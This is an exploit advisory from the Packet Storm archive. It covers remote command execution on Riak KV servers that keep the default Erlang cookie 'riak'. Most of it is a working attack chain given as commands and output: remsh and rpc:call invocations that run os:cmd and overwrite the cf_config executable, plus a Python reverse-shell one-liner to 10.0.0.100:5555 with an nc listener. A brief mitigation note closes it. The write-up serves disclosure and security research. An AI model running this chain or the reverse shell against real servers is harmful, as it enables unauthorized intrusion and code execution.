what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Riak Insecure Default Configuration / Remote Command Execution

Riak Insecure Default Configuration / Remote Command Execution
Posted Aug 4, 2021
Authored by Jeremy Brown

Riak runs as an Erlang service configured with a default cookie of riak that allows for remote command execution if not modified before use.

tags | exploit, remote
SHA-256 | 635d63c416e6d16fc7edbd391f31e513f403e171612e8d0cf4351c1d333c9320

Riak Insecure Default Configuration / Remote Command Execution

Change Mirror Download
Riak KV Insecure Default Cookie RCE

=====
Intro
=====

Riak is a NoSQL key-value database that is built to maximize data availability and performance, especially useful for eg. big data environments. It's built to survive data and network failures with design principles similar to DynamoDB while being released around the same time as Redis.

It runs as an Erlang service using typical cookie authentication for node communication. It was discovered during testing that the default cookie is 'riak' and if not changed to something secret before deployment, it's possible to execute arbtriary code on the running server. While this is not a bug, strictly speaking, but a high risk default insecure configuration that is both locally and remotely exploitable.

=======
Details
=======

------------------
Local Exploitation
------------------

Check if riak is running on the local server by using the Erlang Port Mapper Daemon

$ epmd -names
epmd: up and running on port 4369 with data:
name riak at port 43451

We can see the cookie value is set to 'riak' -- this is a shared secret between nodes/clients and can be set on the CLI or ~/.erlang.cookie.

$ ps -aux | grep cookie
/opt/riak/rel/riak/bin/riak -scl false -sfwi 500 -P 256000 -e 256000 -Q 262144 -A 64 -K true -W w -Bi -zdbbl 32768
... -config ./releases/3.0/sys.config -setcookie riak

For local exploitation, we can pass the cookie value to the Erlang client, connect to the node and call functions such as os:cmd() with the very powerful remsh (Erlang remote shell /w REPL) interface.

$ erl -name test@localhost -setcookie riak -remsh riak@127.0.0.1
(riak@127.0.0.1)1> os:cmd("id;pwd").
"uid=1000(user) gid=1000(user) groups=1000(user)\n/opt/riak/rel/riak\n"

Looks like the riak server is running under the 'user' system account.

Here are some great references to dive into this area further

- https://broot.ca/erlang-remsh-is-dangerous.html
- https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/

-------------------
Remote Exploitation
-------------------

Remsh wasn't working remotely even after configuring the node name and updating /etc/hosts on the remote host

$ erl -name test@ubuntu.test -setcookie riak -remsh riak@ubuntu.test
(riak@ubuntu.test)1> os:cmd("id;pwd").
*** ERROR: Shell process terminated! (^G to start new job) ***

Instead of trying to use the erl client directly, another riak node was setup with the same default cookie to talk node-to-node instead of client-to-node, using the riak client and RPC calls

$ riak eval "rpc:call('riak@ubuntu.test', os, cmd, [id])."
"uid=1000(user) gid=1000(user) groups=1000(user)\n"

This works for execution of a single command, but not for more than one

$ riak eval "rpc:call('riak@ubuntu.test', os, cmd, [“id;pwd”])."
escript: exception error: no match of right hand side value

So we can only run one command with no args, no paths and that executable must be in $PATH -- how can we get a reverse shell with only a single command?

It helped a lot to take a look at https://erlang.org/doc/man/os.html and see what functions were available to call

> "rpc:call('riak@ubuntu.test', file, read_file, ["test"])."

> "rpc:call('riak@ubuntu.test', file, list_dir, ["log"])."
{ok,["console.log","crash.log.0",...]}

> "rpc:call('riak@ubuntu.test', file, write_file, ["test123", []])."

> "rpc:call('riak@ubuntu.test', file, set_cwd, ["etc"])."

> "rpc:call('riak@ubuntu.test', os, cmd, ["ls"])."
"advanced.config\ndata\nlog\nriak.conf\n"

So this is possible by using the Riak environment itself and described further in the full exploit chain.

=============
Exploit Chain
=============

1. Find a useful path that we can pivot up into

> rpc:call('riak@ubuntu.test', os, cmd, ["env"]).
"...\nPATH=/opt/riak/rel/riak/erts-10.6.4/bin:/opt/riak/rel/riak/bin:/opt/riak/.local/bin:/usr/local/sbin:
/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

/opt/riak/rel/riak/bin

Check our current path

> rpc:call('riak@ubuntu.test', os, cmd, ["pwd"]).
"/opt/riak/rel/riak\n"

2. Change into the bin folder which is in our $PATH

> rpc:call('riak@ubuntu.test', file, set_cwd, ["bin"]).

3. Find an executable in bin that "we won’t miss"

> rpc:call('riak@ubuntu.test', os, cmd, ["ls"]).
"cf_config\ncuttlefish\ndata\nhooks\ninstall_upgrade.escript\nlog\nnodetool...

4. Craft our payload and overwrite the executable file

(perhaps also call copy on the executable beforehand to save the original)

Ouch, simply passing “id” to file:write_file results in {error,badarg}.

Apparently need to generate and pass actual Erlang bytecode...

> rpc:call('riak@ubuntu.test', file, write_file, ["cf_config", [105,100]]).

So after looking at https://elixirforum.com/t/how-to-get-the-binary-representation-of-a-module/18006/2, sounds like 105=i and 100=d... ok.

We can verify this with read_file

> rpc:call('riak@ubuntu.test', file, read_file, ["cf_config"]).
{ok,<<"id">>}

Modify the options on a standard payloads-all-the-things reverse shell, pass it to the estr2bc helper app and use this generated payload in the call to file:write_file

$ estr2bc.py "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.100\",
5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"

[112,121,116,104,111,110,32,45,99,32,39,105,109,112,111,114,116,32,115,111,99,107,101,116,44,115,117,98,112,114,
111,99,101,115,115,44,111,115,59,115,61,115,111,99,107,101,116,...]

5. Start our listener for the shell and execute the payload

> rpc:call('riak@ubuntu.test', os, cmd, ["cf_config"]).

$ nc -l -p 5555
...
user@ubuntu:~/opt/riak/rel/riak/bin$ id
uid=1000(user) gid=1000(user) groups=1000(user)

This is RCE as the running user on a Riak server configured with the default cookie.

In summary...

- Execute env for check our current path
- Call set_cwd to bin to adjust path
- Select the cf_config executable in bin to overwrite
- Generate bytecode payload and replace cf_config
- Run the new cf_config

==========
Mitigation
==========

Change the default cookie to something of sufficiently length and random, similar to the way RabbitMQ does it.

(see distributed_cookie in riak.conf)

Maybe it's also possible to whitelist nodes with net_kernel.allow()? There seems to be some discussion around that on https://stackoverflow.com/questions/34868476/elixir-distributed-security-and-whitelisting-allowed-nodes.
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close